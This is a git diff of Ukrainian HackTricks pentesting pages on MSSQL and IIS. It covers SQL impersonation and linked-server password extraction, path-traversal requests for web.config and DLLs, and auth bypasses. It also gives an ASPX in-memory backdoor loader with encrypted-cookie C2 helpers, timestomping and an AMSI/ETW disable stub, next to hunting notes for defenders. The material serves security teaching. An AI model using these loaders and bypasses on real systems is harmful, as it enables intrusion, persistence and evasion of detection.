SQL Server має спеціальний дозвіл під назвою **`IMPERSONATE`**, який **дозволяє виконуючому користувачу набувати прав іншого користувача** або login до моменту скидання контексту або завершення сесії.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -510,9 +544,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> Якщо ви можете видати себе за користувача, навіть якщо він не є sysadmin, вам слід перевірити, **чи має користувач доступ** до інших **баз даних** або зв'язаних серверів.
> Якщо ви можете видати себе за користувача, навіть якщо він не є sysadmin, слід перевірити **чи має цей користувач доступ** до інших **databases** або linked servers.
Зверніть увагу, що як тільки ви станете sysadmin, ви зможете видати себе за будь-якого іншого:
Зауважте, що як тільки ви стаєте sysadmin, ви можете видати себе за будь-кого іншого:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -532,32 +566,32 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Використання MSSQL для збереження доступу
## Використання MSSQL для Persistence
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Витягування паролів з SQL Server Linked Servers
## Отримання паролів із SQL Server Linked Servers
Зловмисник може витягнути паролі SQL Server Linked Servers з SQL Instances і отримати їх у відкритому вигляді, надаючи зловмиснику паролі, які можна використовувати для отримання більшого контролю над ціллю. Скрипт для витягування та розшифрування паролів, збережених для Linked Servers, можна знайти [тут](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Зловмисник може витягти паролі SQL Server Linked Servers з SQL Instances і отримати їх у відкритому тексті, що дає можливість використовувати ці паролі для закріплення присутності на цілі. Скрипт для витягання та дешифрування паролів, збережених для Linked Servers, можна знайти [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Для того, щоб цей експлойт працював, необхідно виконати деякі вимоги та налаштування. По-перше, ви повинні мати права адміністратора на машині або можливість керувати конфігураціями SQL Server.
Щоб цей експлойт працював, потрібно виконати деякі вимоги та налаштування. По-перше, ви повинні мати права Administrator на машині або можливість керувати SQL Server Configurations.
Після перевірки ваших прав, вам потрібно налаштувати три речі, а саме:
Після перевірки дозволів потрібно налаштувати три речі:
1. Увімкнути TCP/IP на екземплярах SQL Server;
2. Додати параметр запуску, в даному випадку буде додано прапор трасування -T7806.
3. Увімкнути віддалене адміністрування.
1. Увімкнути TCP/IP на SQL Server instances;
2. Додати Start Up parameter — у цьому випадку буде додано trace flag, який є -T7806.
3. Увімкнути remote admin connection.
Щоб автоматизувати ці налаштування, [цей репозиторій](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) має необхідні скрипти. Окрім наявності скрипта PowerShell для кожного етапу налаштування, репозиторій також має повний скрипт, який об'єднує скрипти налаштування та витягування і розшифрування паролів.
Щоб автоматизувати ці налаштування, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) має потрібні скрипти. Окрім того, що є powershell скрипт для кожного кроку конфігурації, репозиторій також містить повний скрипт, який об’єднує скрипти конфігурації та витягнення і дешифрування паролів.
Для отримання додаткової інформації зверніться до наступних посилань щодо цієї атаки: [Розшифрування паролів MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Для додаткової інформації зверніться до наступних посилань щодо цієї атаки: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Усунення неполадок з підключенням адміністратора SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Підвищення локальних привілеїв
## Local Privilege Escalation
Користувач, який запускає сервер MSSQL, матиме увімкнений привілейний токен **SeImpersonatePrivilege.**\
Ви, ймовірно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань:
The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
You probably will be able to **escalate to Administrator** following one of these 2 paged:
{{#ref}}
@ -573,7 +607,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
- `port:1433 !HTTP`
## Посилання
## Джерела
- [Unit 42 Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -585,7 +631,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## HackTricks Автоматичні команди
## HackTricks Automatic Commands
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Тестуйте розширення виконуваних файлів:
Тестові розширення виконуваних файлів:
- asp
- aspx
@ -11,12 +11,12 @@
## Розкриття внутрішньої IP-адреси
На будь-якому сервері IIS, де ви отримуєте 302, ви можете спробувати видалити заголовок Host і використовувати HTTP/1.0, а в відповіді заголовок Location може вказувати на внутрішню IP-адресу:
На будь-якому сервері IIS, де ви отримуєте 302, можна спробувати видалити Host header і використовувати HTTP/1.0 — у відповіді заголовок Location може вказувати на внутрішню IP-адресу:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Відповідь, що розкриває внутрішню IP:
Відповідь, що розкриває внутрішню IP-адресу:
```
GET / HTTP/1.0
@ -29,11 +29,11 @@ X-FEServer: NHEXCHANGE2016
```
## Виконання .config файлів
Ви можете завантажувати .config файли та використовувати їх для виконання коду. Один зі способів зробити це - додати код в кінець файлу всередині HTML коментаря: [Завантажити приклад тут](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Ви можете завантажувати .config файли і використовувати їх для виконання коду. Один зі способів — додати код в кінець файлу всередині HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Більше інформації та технік для експлуатації цієї вразливості [тут](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
Більше інформації та технік для експлуатації цієї вразливості [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Брутфорс виявлення IIS
## IIS Discovery Bruteforce
Завантажте список, який я створив:
@ -50,20 +50,20 @@ iisfinal.txt
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Використовуйте його без додавання будь-якого розширення, файли, яким це потрібно, вже мають його.
Не додавайте розширення — файли, яким потрібне розширення, вже мають його.
## Перехід по шляху
## Path Traversal
### Витік вихідного коду
### Leaking source code
Перевірте повний опис у: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
Дивіться повний розбір за адресою: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можна дізнатися **де розташовані виконувані файли** та завантажити їх.\
> З **завантажених Dlls** також можна знайти **нові простори імен**, до яких слід спробувати отримати доступ і отримати файл web.config, щоб знайти нові простори імен та assemblyIdentity.\
> [!TIP]
> У підсумку, у папках додатку є декілька web.config файлів зі посиланнями на "**assemblyIdentity**" файли та "**namespaces**". Маючи цю інформацію, можна дізнатися **де розташовані виконувані файли** та завантажити їх.\
> Із **downloaded Dlls** також можна знайти **нові namespaces**, куди варто спробувати отримати доступ і дістати web.config файл, щоб знайти нові namespaces та assemblyIdentity.\
> Також файли **connectionstrings.config** та **global.asax** можуть містити цікаву інформацію.
У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма, через XML теги **"assemblyIdentity"**.
У **.Net MVC applications**, файл **web.config** відіграє ключову роль, вказуючи кожний бінарний файл, від якого залежить застосунок, через XML теги **"assemblyIdentity"**.
### **Дослідження бінарних файлів**
@ -74,39 +74,39 @@ Host: example-mvc-application.minded
```
Цей запит виявляє різні налаштування та залежності, такі як:
- **EntityFramework** версія
- **AppSettings** для веб-сторінок, валідації клієнтів та JavaScript
- **System.web** конфігурації для аутентифікації та виконання
- **EntityFramework** версію
- **AppSettings** для веб-сторінок, валідації на стороні клієнта та **JavaScript**
- **System.web** конфігурації для автентифікації та runtime
- **System.webServer** налаштування модулів
- **Runtime** прив'язки збірок для численних бібліотек, таких як **Microsoft.Owin**, **Newtonsoft.Json** та **System.Web.Mvc**
- **Runtime** assembly bindings для численних бібліотек, таких як **Microsoft.Owin**, **Newtonsoft.Json** та **System.Web.Mvc**
Ці налаштування вказують на те, що певні файли, такі як **/bin/WebGrease.dll**, розташовані в папці /bin програми.
Ці налаштування вказують, що певні файли, такі як **/bin/WebGrease.dll**, розташовані в папці /bin застосунку.
### **Файли кореневої директорії**
### **Root Directory Files**
Файли, знайдені в кореневій директорії, такі як **/global.asax** та **/connectionstrings.config** (який містить чутливі паролі), є важливими для конфігурації та роботи програми.
Файли, знайдені в кореневому каталозі, такі як **/global.asax** та **/connectionstrings.config** (що містить чутливі паролі), є необхідними для конфігурації та роботи застосунку.
### **Простори імен та Web.Config**
### **Namespaces and Web.Config**
MVC програми також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано на прикладі запиту на завантаження іншого **web.config**:
MVC-застосунки також визначають додаткові **web.config files** для конкретних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано запитом на завантаження іншого **web.config**:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Завантаження DLL**
### **Завантаження DLL-файлів**
Згадка про власний простір імен вказує на наявність DLL з назвою "**WebApplication1**" у каталозі /bin. Після цього показано запит на завантаження **WebApplication1.dll**:
Згадка про власний простір імен натякає на DLL з назвою "**WebApplication1**", яка присутня в директорії /bin. Далі показано запит на завантаження **WebApplication1.dll**:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Це вказує на наявність інших важливих DLL, таких як **System.Web.Mvc.dll** та **System.Web.Optimization.dll**, у каталозі /bin.
Це вказує на наявність інших необхідних DLL, таких як **System.Web.Mvc.dll** і **System.Web.Optimization.dll**, в каталозі /bin.
У сценарії, коли DLL імпортує простір імен під назвою **WebApplication1.Areas.Minded**, зловмисник може припустити наявність інших файлів web.config у передбачуваних шляхах, таких як **/area-name/Views/**, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до **/Minded/Views/web.config** може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, **WebApplication1.AdditionalFeatures.dll**.
У ситуації, коли DLL імпортує простір імен під назвою **WebApplication1.Areas.Minded**, нападник може зробити висновок про існування інших web.config файлів у передбачуваних шляхах, таких як **/area-name/Views/**, які містять конкретні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до **/Minded/Views/web.config** може розкрити конфігурації та простори імен, що вказують на наявність іншої DLL, **WebApplication1.AdditionalFeatures.dll**.
### Загальні файли
### Поширені файли
З [тут](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
Джерело: [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -183,65 +183,182 @@ C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Error
## HTTPAPI 2.0 404 помилка
Якщо ви бачите помилку, подібну до наступної:
If you see an error like the following one:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Це означає, що сервер **не отримав правильне ім'я домену** в заголовку Host.\
Щоб отримати доступ до веб-сторінки, ви можете подивитися на виданий **SSL сертифікат**, і, можливо, ви знайдете ім'я домену/субдомену там. Якщо його там немає, вам, можливо, потрібно буде **брутфорсити VHosts**, поки не знайдете правильний.
Це означає, що сервер **не отримав правильне доменне ім'я** в заголовку Host.\
Щоб отримати доступ до веб-сторінки, перегляньте поданий **SSL Certificate** — можливо, ви знайдете там домен/субдомен. Якщо його там немає, можливо, доведеться **brute force VHosts**, поки не знайдете правильний.
## Старі вразливості IIS, на які варто звернути увагу
## Розшифрування зашифрованих конфігурацій та ASP.NET Core Data Protection key rings
### Вразливість/функція символу тильди “\~” Microsoft IIS Розкриття коротких імен файлів/папок
Два поширені підходи для захисту секретів у додатках .NET, розміщених на IIS:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) для секцій web.config, таких як <connectionStrings>.
- ASP.NET Core Data Protection key ring (persisted locally), що використовується для захисту секретів додатка та cookies.
Ви можете спробувати **перерахувати папки та файли** всередині кожної виявленої папки (навіть якщо це вимагає базової аутентифікації), використовуючи цю **техніку**.\
Основне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що **вона може знайти лише перші 6 літер імені кожного файлу/папки та перші 3 літери розширення** файлів.
Якщо у вас є доступ до файлової системи або інтерактивний доступ до веб-сервера, співрозміщені ключі часто дозволяють виконати розшифрування.
Ви можете використовувати [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) для перевірки на цю вразливість:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
- ASP.NET (Full Framework) розшифруйте захищені секції конфігурації за допомогою aspnet_regiis:
```cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
```
- ASP.NET Core перевірте наявність Data Protection key rings, збережених локально (XML/JSON файли) у таких місцях:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Якщо key ring доступний, оператор, що працює під ідентифікацією додатку, може інстанціювати IDataProtector з тими самими purposes і unprotect збережені секрети. Неправильні налаштування, які зберігають key ring разом з файлами додатку, роблять offline decryption тривіальною після компрометації хоста.
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and postexploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64encoded, optionally Gzipcompressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
- Cookiescoped, encrypted C2 with multistage packing: tasks/results are wrapped with Gzip → AESECB/PKCS7 → Base64 and moved via seemingly legitimate cookieheavy requests; operators used stable delimiters (e.g., "STAR") for chunking.
- Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
- Optional AMSI/ETW predisable for loaders: a secondstage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of inmemory payloads.
Minimal ASPX loader pattern
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
```
Утиліти пакування/крипто (Gzip + AESECB + Base64)
```csharp
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AESECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
```
Cookie/session потік і поверхня команд
- Session bootstrap and tasking здійснюються через cookies, щоб злитися з нормальною веб-активністю.
- У реальному середовищі спостерігалися такі команди: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; та динамічні примітиви виконання code_self, code_pid, run_code для виконання .NET в пам'яті.
Timestomping утиліта
```csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
```
Вбудоване відключення AMSI/ETW перед Assembly.Load (варіант loader)
```csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
```
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Нотатки для хантингу (захисники)
- Поодинока, дивна сторінка ASPX з дуже довгими Base64/Gzip блобами; пости з великою кількістю cookie.
- Unbacked managed modules всередині w3wp.exe; рядки на кшталт Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Повторювані роздільники, як "STAR", у трафіку; невідповідні або навіть майбутні мітки часу в ASPX/assemblies.
## Старі вразливості IIS, які варто перевірити
### Microsoft IIS tilde character “\~” Vulnerability/Feature Витік коротких імен файлів/папок
Ви можете спробувати **перелікувати папки та файли** всередині кожної знайденої папки (навіть якщо потрібна Basic Authentication) використовуючи цю **техніку**.\
Головне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що **вона може знайти лише перші 6 символів імені кожного файлу/папки та перші 3 символи розширення** файлів.
You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
Оригінальне дослідження: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Ви також можете використовувати **metasploit**: `use scanner/http/iis_shortname_scanner`
You can also use **metasploit**: `use scanner/http/iis_shortname_scanner`
Хороша ідея для **знаходження остаточного імені** виявлених файлів це **запитати LLMs** про варіанти, як це зроблено в скрипті [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
Непогана ідея, щоб **знайти остаточне ім'я** виявлених файлів — це **запитати LLMs** варіанти, як це зроблено в скрипті [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Обхід базової аутентифікації
### Basic Authentication bypass
**Обійти** базову аутентифікацію (**IIS 7.5**), намагаючись отримати доступ до: `/admin:$i30:$INDEX_ALLOCATION/admin.php` або `/admin::$INDEX_ALLOCATION/admin.php`
**Обхід** Basic Authentication (**IIS 7.5**) шляхом доступу до: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
Ви можете спробувати **поєднати** цю **вразливість** з останньою, щоб знайти нові **папки** та **обійти** аутентифікацію.
Ви можете спробувати **сумістити** цю **вразливість** і попередню, щоб знайти нові **папки** та **обійти** автентифікацію.
## Включений режим налагодження ASP.NET Trace.AXD
## ASP.NET Trace.AXD — увімкнене налагодження
ASP.NET включає режим налагодження, і його файл називається `trace.axd`.
Він зберігає дуже детальний журнал усіх запитів, зроблених до програми протягом певного часу.
Він зберігає дуже детальний лог усіх запитів, що робилися до застосунку за певний період часу.
Ця інформація включає IP-адреси віддалених клієнтів, ідентифікатори сесій, усі куки запитів і відповідей, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів і паролі.
Ця інформація включає віддалені IP-адреси клієнтів, session IDs, всі request і response cookies, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів та паролі.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## Кука ASPXAUTH
## ASPXAUTH Cookie
ASPXAUTH використовує таку інформацію:
- **`validationKey`** (рядок): ключ у шістнадцятковому кодуванні для використання для перевірки підпису.
- **`decryptionMethod`** (рядок): (за замовчуванням “AES”).
- **`decryptionIV`** (рядок): шістнадцятковий ініціалізаційний вектор (за замовчуванням вектор нулів).
- **`decryptionKey`** (рядок): шістнадцятковий ключ для використання для розшифрування.
- **`validationKey`** (string): hex-encoded key to use for signature validation.
- **`decryptionMethod`** (string): (default “AES”).
- **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
- **`decryptionKey`** (string): hex-encoded key to use for decryption.
Однак деякі люди використовують **значення за замовчуванням** цих параметрів і використовують як **куку електронну пошту користувача**. Тому, якщо ви можете знайти веб-сайт, що використовує **ту ж платформу**, яка використовує куку ASPXAUTH, і ви **створите користувача з електронною поштою користувача, якого ви хочете видати** на сервері під атакою, ви можете використовувати **куку з другого сервера на першому** і видати себе за користувача.\
Цей напад спрацював у цьому [**описі**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
Однак деякі адміністратори використовують **значення за замовчуванням** цих параметрів і використовують як **cookie електронну адресу користувача**. Тому, якщо ви знайдете веб-сайт на тій **самій платформі**, який використовує ASPXAUTH cookie, і **створите користувача з email тієї людини, яку хочете видавати за іншого** на другому сервері, ви можете змогти використати **cookie з другого сервера на першому** і видавати себе за цього користувача.\
Ця атака спрацювала в цьому [**описі**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Обхід аутентифікації IIS з кешованими паролями (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Повний звіт тут](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Помилка в коді **неправильно перевіряла пароль, наданий користувачем**, тому зловмисник, чий **хеш пароля потрапляє в ключ**, який вже є в **кеші**, зможе увійти як цей користувач.
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Баг у коді **не перевіряв належним чином пароль, введений користувачем**, тому атакуючий, чиїй **хеш пароля потрапляє в ключ**, який вже є в **кеші**, зможе увійти як цей користувач.
```python
# script for sanity check
> type test.py
@ -261,4 +378,9 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## Джерела
- [Unit 42 Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Методологія пентестингу розширень браузера
# Методологія pentesting розширень браузера
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
## Базова інформація
Розширення браузера написані на JavaScript і завантажуються браузером у фоновому режимі. Воно має свій [DOM](https://www.w3schools.com/js/js_htmldom.asp), але може взаємодіяти з DOM інших сайтів. Це означає, що воно може скомпрометувати конфіденційність, цілісність і доступність (CIA) інших сайтів.
Browser extensions написані на JavaScript і завантажуються браузером у фоновому режимі. Вони мають свій [DOM](https://www.w3schools.com/js/js_htmldom.asp), але можуть взаємодіяти з DOM інших сайтів. Це означає, що вони можуть ставити під загрозу конфіденційність, цілісність і доступність (CIA) інших сайтів.
## Основні компоненти
Макети розширень виглядають найкраще, коли їх візуалізують, і складаються з трьох компонентів. Розглянемо кожен компонент детальніше.
Структура розширення легше сприймається при візуалізації і складається з трьох компонентів. Розглянемо кожен компонент докладніше.
